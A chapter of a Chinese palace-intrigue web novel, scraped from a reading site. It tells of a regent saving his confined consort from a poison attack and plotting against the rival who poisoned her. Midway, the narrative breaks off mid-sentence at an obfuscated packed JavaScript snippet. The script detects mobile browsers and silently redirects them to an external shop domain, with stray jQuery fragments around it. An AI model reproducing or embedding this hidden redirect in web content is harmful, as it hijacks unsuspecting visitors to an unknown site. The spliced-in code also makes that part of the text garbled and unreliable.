文趣网 > 其他小说 > 摄政王的强制囚妻 > 19. 毒发
    日头移过中天,凝梅院的暖意被一股刺骨寒意取代。

    冷雪梅盘膝坐于榻上,双掌交叠抵在丹田,指尖泛出青白,额角渗出细密冷汗,顺着下颌滑落砸向锦褥,晕开浅痕。

    经脉中寒毒猝然窜动,冲破她强行压制的气息,顺着四肢疯狂蔓延,指尖先是发麻,随即僵冷,寒意直透骨缝,周身血液仿佛被冻住了,每一次呼吸都带着冰碴,呛得她喉间发腥。

    西翠守候榻边,伸手探向冷雪梅的额头,指尖刚触及肌肤,便被一股寒气冻得缩回。

    “娘娘!”

    西翠失声低唤,快步上前扶住冷雪梅摇摇欲坠的身子,将她放平榻上。

    冷雪梅牙关紧咬,唇色褪成惨白,浑身控制不住地发抖,锦褥被她攥得皱起,指节因用力而泛青。

    寒毒侵上心脉,胸口闷痛难忍,眼前阵阵发黑,意识渐渐涣散,仅剩的力气全用来撑着最后一丝清醒。

    西翠慌了手脚,俯身按住冷雪梅的脉门,指尖感受着脉息微弱的滞涩,寒毒已缠上心脉,再拖下去便会气绝身亡。

    她转身冲向门口,想要去请太医,刚拉开房门便被院外值守的影卫拦下。

    “摄政王有令,凝梅院不准请太医,不准送驱寒汤药。”影卫垂首拦路,语气冰冷,没有通融余地。

    西翠心头一沉,知晓是权峥凛刻意为之,她咬牙推开影卫,又被另外两名影卫死死按住手臂,动弹不得。

    “王妃寒毒爆发,命悬一线,耽误了时辰,你们担待得起吗!”西翠嘶吼出声,眼底尽显焦急。

    影卫不为所动,守住院门口,隔绝所有内外往来。

    榻上的冷雪梅气息愈发微弱,浑身僵冷,胸口起伏越来越缓,喉间溢出一声轻浅的闷哼,彻底失去意识,双手垂落榻边,指尖青白得吓人。

    西翠挣脱影卫的桎梏,冲回榻前,抱住冷雪梅冰冷的身子,指尖探向她鼻息,仅存一丝微弱气息。

    她泪意上涌,又不敢耽搁,摸出袖中暗藏的银针扎向冷雪梅人中、百会等穴位,试图吊住她的性命。

    银针刺入肌肤,冷雪梅睫毛轻颤,并未睁眼,寒毒已侵遍全身,寻常针法根本无力回天。

    另一边,揽月楼内。

    权峥凛正伏案批阅奏折,指尖握着朱笔,刚落下一笔,心头忽然慌凌,手中朱笔“哐当”掉落在奏折上,墨汁晕开一大片。

    他周身至阳气息莫名躁动,体内翻涌本命火诀,像是有什么至关重要的东西正缓缓消散。

    权峥凛站起身,墨眸中翻涌着从未有过的慌乱,大步踏出揽月楼,玄色锦袍翻飞,直奔凝梅院而去。

    沿途侍卫见他神色骇人,皆躬身避让,不敢抬头。

    权峥凛步履急促,往日沉稳的步调全被打乱,心头慌乱越来越盛,一种从未有过的恐惧死死攥住他的心脏。

    他踏入凝梅院,霎时间,刺骨寒意扑面而来,与院内暖意格格不入。

    权峥凛脸色阴沉沉的,快步冲向内室,推开房门的刹那,映入眼帘的便是榻上面无血色、僵冷如冰的冷雪梅。

    她双目紧闭,唇色惨白,浑身泛着冷意,呼吸微弱得快要听不清楚,仿佛下一刻便会彻底断气。

    权峥凛瞳孔骤缩,周身气息狂暴起来,至阳怒火席卷整个屋内,桌椅被气劲震得微微晃动。

    他三步并作两步冲到榻前,伸手揽住冷雪梅的盈盈腰肢,将她打横抱起,指尖触到她冰冷的肌肤,心头慌乱化作滔天暴怒。

    “怎么回事!”权峥凛厉声喝问,声音震得屋瓦发颤,怀中人冰冷得没有一丝温度,脉息细若游丝,寒毒早已侵遍全身,心脉受损严重。

    西翠跪倒在地,额头抵着青石板,颤抖道:“回殿下,娘娘体内的寒毒突然爆发,压制不住,影卫奉殿下之命,不准请太医,不准送汤药,奴才无能为力……”

    权峥凛垂眸看向怀中的冷雪梅,她眉头紧蹙,即便昏迷也透着痛苦,往日清冷凌厉的眉眼此刻毫无生气,看得他心口一疼。

    这是他第一次体会到慌乱与心疼,往日掌控一切的沉稳荡然无存,仅剩的唯有对自己的恼恨与对下毒之人的暴怒。

    他以为寒毒只会慢慢发作,有足够的时间逼她低头,没想到这寒毒会突然爆发,险些要了她的性命。

    权峥凛不再多言,盘膝坐于榻上,将冷雪梅揽入怀中,双掌抵住她后背,催动本命火诀。

    至阳至烈的内力顺着掌心源源不断涌入她的经脉,灼烧着四处乱窜的寒毒,冻僵的经脉被暖意缓缓熨帖,滞涩血液重新开始流动。

    他额头渗出冷汗,却不敢停下内力输出,怀中的人越来越冷,他必须用本命火将寒毒彻底逼出心脉,保住她的性命。

    半个时辰过去,冷雪梅睫毛轻颤,缓缓睁开眼,喉间溢出一声轻咳,唇色恢复一丝血色。

    她靠在权峥凛怀中,感受着背后滚烫的暖意,寒毒被压制下去,意识渐渐清晰。

    权峥凛见她睁眼,紧绷的下颌稍稍放松,仍未收回内力,持续用本命火温养她受损的心脉。

    “醒了。”他声音沙哑,双眸蕴藏未散的慌乱与后怕。

    冷雪梅偏过头避开他的触碰,虚弱地靠着榻边,浑身酸软无力,寒毒虽被压制,可并未根除,仍潜伏经脉深处。

    权峥凛收回双掌,周身气息还狂暴着,他站起身,转身看向屋外,厉声吩咐:“传影卫统领,封锁摄政王府,全府排查,所有与苏令婉相关之人,全部拿下!”

    影卫统领应声闯入,躬身领命,转身退出屋内,迅速调动王府所有影卫封锁前后门,开始逐院排查。

    权峥凛走到桌边,抬手扫落桌上的茶具,瓷碗碎裂一地,声响刺耳。

    他墨眸猩红,怒意翻涌,苏令婉的算计超出了他的预料,冰凝草被她加了料,才会让寒毒骤然爆发,险些害死冷雪梅。

    “苏令婉。”权峥凛咬牙念出这个名字,语气里淬着杀意:“本王留你一命,你竟敢动本王的人。”

    他原本只想警告苏令婉,可没想到她如此胆大妄为,在汤药中加重了冰凝草的剂量,还混入了引毒爆发的辅料,才让冷雪梅陷入生死危机。

    西翠还跪在地上,将苏令婉入府探病、两次下毒的细节一字不差地禀报给权峥凛,包括勺沿藏针、汤药掺毒的所有细节。

    权峥凛听完,周身怒意更盛,迈步走向门口,看着院外忙碌排查的影卫,沉声吩咐:“去查苏令婉的底细,她背后的势力,与七皇子权彻的往来,全部查清楚,一字不差报给本王。”

    影卫领命,迅速离去。

    权峥凛转身走回榻边,俯身看着冷雪梅苍白的脸,伸手想去拂开她额前的碎发,指尖刚抬起,又顿住,最终收回手。

    “好好养着,本王不会再让任何人伤你。”

    他语气里蕴含一丝浅浅的心疼之意,往日的强势掌控,此刻多了三分柔软,他从未想过冷雪梅的生死会让他如此慌乱,如此失控。

    冷雪梅闭上眼没有回应,虚弱的呼吸透着疲惫,寒毒爆发让她耗尽气力,此刻只想闭目休养,权峥凛的暴怒与心疼,她尽数看在眼里,却不愿表露半分。

    半个时辰后,影卫统领返回凝梅院,躬身禀报:“殿下,全府排查完毕,苏令婉昨日入府时,留下的侍女暗中在凝梅院的熏香中掺入了引毒散,能加速寒毒爆发,侍女已被拿下,苏令婉府中暗卫与七皇子权彻的人往来密切,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722917|208753||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    苏尚书暗中勾结外戚,贪腐受贿的证据也已查到部分。”

    权峥凛指尖敲击桌沿,怒意渐渐收敛,双眸里蓄积着深沉的算计。

    苏令婉背后是苏尚书与外戚势力,更是七皇子权彻的得力臂膀,他早已想清理这股势力,苏令婉下毒之事,恰好给了他最好的借口。

    “不准动苏令婉,不准打草惊蛇。”权峥凛沉声下令:“继续暗中追查苏尚书与外戚、权彻的往来证据,将所有线索收集齐全,本王要借此事,连根拔起权彻的左膀右臂。”

    影卫统领躬身应下,转身退去,按照指令继续暗中调查。

    权峥凛走到榻边坐下身,看着冷雪梅安静的睡颜,心头慌乱渐渐平复,又残留着后怕。

    他伸手握住她冰冷的指尖,用自己掌心暖意包裹住她的手,不再逼迫,不再掌控,就安静地守着她。

    西翠起身悄悄退到屋外,关上房门,将空间留给两人,同时守住门口,不准任何人打扰。

    冷雪梅并未深睡,感受到掌心暖意,指尖微微动了动,未睁开眼,她清楚权峥凛的算计,他不会轻易放过苏令婉,更不会放过苏令婉背后的势力,这场下毒危机,会变成权峥凛清理朝堂对手的利器。

    寒毒还潜伏经脉中,唯有权峥凛的本命火能彻底化解,她与他之间的牵绊,因这场生死危机变得更加紧密。

    夜色降临,凝梅院燃起灯火,暖意融融。

    权峥凛还守在榻边,握着冷雪梅的手不曾离开片刻。

    他从未如此守着一个人,从未如此慌乱过,冷雪梅的生死早已在不知不觉中,牵动了他的心脉。

    冷雪梅缓缓睁开眼,看向身边的权峥凛,他眼底布满血丝,透着疲惫,往日的凌厉被一丝柔和取代。

    她抽回指尖,语声冰冷,少了往日的抗拒:“殿下不必守着,本宫死不了。”

    权峥凛看着她抽回的手,眸底闪过一丝失落,随即恢复沉稳:“寒毒未除,本王守着你。下次再发作,本王能及时救你。”

    他不再提逼迫、掌控,只单纯地守着她,护着她,这份突如其来的心疼与守护,让冷雪梅心头微顿,却保持着冰冷的疏离。

    西翠端着温热的汤药走进屋内,躬身递到冷雪梅面前:“娘娘,这是温补的汤药,能滋养经脉,压制寒毒。”

    冷雪梅接过汤药小口饮下,暖意顺着喉咙滑入丹田,压制着经脉中的寒毒。

    权峥凛看着她喝完汤药,起身整理衣袍,墨眸中重新泛起算计的光芒:“苏令婉的账,本王会算,但不是现在。她背后的势力,本王要一并清理。你安心养着,这段时间,本王会派人寸步不离守着凝梅院,再无人能伤你。”

    话音落,他迈步走出屋内,玄色身影消失夜色中。

    冷雪梅靠在榻上闭目调息,引导体内暖意游走经脉,寒毒爆发的生死危机,让权峥凛首次慌乱,首次心疼,也让他锁定了苏令婉背后的势力,布下清理朝堂的棋局。

    她清楚这场寒毒风波远未结束,苏令婉的陷害,权峥凛的算计,朝堂的纷争全都缠绕一起,而她,是这场棋局中至关重要的一枚棋子,亦是掌控自己命运的棋手。

    西翠守候榻边,为她掖好锦被,轻声道:“娘娘,王爷此次是真的动怒了,也真的担心您。”

    冷雪梅睁开眼,目光清冷,看向窗外的夜色:“他怒的是有人动了他的所有物,心疼的是自己的筹码受损。”

    她不会被权峥凛的短暂慌乱与心疼迷惑,寒毒是枷锁,亦是她的筹码,她会借着这份牵绊,借着权峥凛清理苏令婉势力的时机,为自己为冷家,铺好破局之路。

    凝梅院灯火未熄,屋内暖意融融,经脉中的寒毒潜伏着。